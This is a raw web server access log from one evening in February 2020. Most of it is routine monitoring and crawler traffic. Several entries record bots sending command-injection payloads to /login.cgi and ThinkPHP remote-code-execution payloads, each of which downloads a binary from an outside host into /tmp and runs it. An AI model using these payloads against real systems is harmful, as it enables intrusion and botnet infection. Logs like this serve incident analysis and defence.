212.91.246.72 - - [25/Feb/2020:18:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.224.217 - - [25/Feb/2020:18:38:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [25/Feb/2020:18:38:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [25/Feb/2020:18:38:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [25/Feb/2020:18:38:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [25/Feb/2020:18:38:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.224.217 - - [25/Feb/2020:18:38:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [25/Feb/2020:18:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.108.66.176 - - [25/Feb/2020:18:40:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [25/Feb/2020:18:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.241.80.219 - - [25/Feb/2020:18:46:36 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:18:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:47:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.137.112 - - [25/Feb/2020:18:50:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [25/Feb/2020:18:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:52:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:53:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.70.5.95 - - [25/Feb/2020:18:54:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:18:54:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:56:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:57:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:58:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:18:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.155.10.111 - - [25/Feb/2020:19:03:35 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:19:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:04:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:05:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:08:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:10:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:12:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:14:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.189.208.61 - - [25/Feb/2020:19:16:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [25/Feb/2020:19:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.163.162.236 - - [25/Feb/2020:19:25:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:19:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.107.166.224 - - [25/Feb/2020:19:28:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [25/Feb/2020:19:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.32.82.223 - - [25/Feb/2020:19:30:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [25/Feb/2020:19:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.79.123.206 - - [25/Feb/2020:19:32:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:19:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.96.201.39 - - [25/Feb/2020:19:33:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:19:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.204.45.146 - - [25/Feb/2020:19:34:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:19:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:38:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.33.112.155 - - [25/Feb/2020:19:41:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [25/Feb/2020:19:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.74.64.39 - - [25/Feb/2020:19:43:10 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
34.74.64.39 - - [25/Feb/2020:19:43:10 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
212.91.246.72 - - [25/Feb/2020:19:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.221.57.62 - - [25/Feb/2020:19:44:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:19:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:47:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.182.8.151 - - [25/Feb/2020:19:49:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:19:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
67.78.165.2 - - [25/Feb/2020:19:50:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:19:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:52:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:53:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:54:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:56:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.173.39.36 - - [25/Feb/2020:19:57:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [25/Feb/2020:19:57:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:19:58:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.2.9.9 - - [25/Feb/2020:19:59:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [25/Feb/2020:19:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
144.76.182.18 - - [25/Feb/2020:20:02:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
144.76.182.18 - - [25/Feb/2020:20:02:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
144.76.182.18 - - [25/Feb/2020:20:02:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
144.76.182.18 - - [25/Feb/2020:20:02:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
144.76.182.18 - - [25/Feb/2020:20:02:32 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
144.76.182.18 - - [25/Feb/2020:20:02:32 +0100] "GET /sitemap.xml HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
144.76.182.18 - - [25/Feb/2020:20:02:32 +0100] "GET /sitemap-index.xml HTTP/1.1" 404 337 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
144.76.182.18 - - [25/Feb/2020:20:02:32 +0100] "GET /sitemaps/sitemap.xml HTTP/1.1" 404 340 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12"
78.46.204.32 - - [25/Feb/2020:20:02:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Wappalyzer)"
212.91.246.72 - - [25/Feb/2020:20:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.174.95.106 - - [25/Feb/2020:20:02:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
93.174.95.106 - - [25/Feb/2020:20:02:51 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
93.174.95.106 - - [25/Feb/2020:20:02:51 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
93.174.95.106 - - [25/Feb/2020:20:02:51 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
93.174.95.106 - - [25/Feb/2020:20:02:51 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.22.0"
212.91.246.72 - - [25/Feb/2020:20:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:04:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:05:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:08:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.44 - - [25/Feb/2020:20:09:33 +0100] "GET /robots.txt HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.46 - - [25/Feb/2020:20:09:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [25/Feb/2020:20:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:10:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.227.162.19 - - [25/Feb/2020:20:11:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [25/Feb/2020:20:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.39.89.46 - - [25/Feb/2020:20:12:27 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [25/Feb/2020:20:12:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:14:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [25/Feb/2020:20:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.209.98.150 - - [25/Feb/2020:20:16:56 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ia_archiver"
54.209.98.150 - - [25/Feb/2020:20:16:56 +0100] "GET / HTTP/1.0" 200 1229 "-" "ia_archiver"
212.91.246.72 - - [25/Feb/2020:20:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
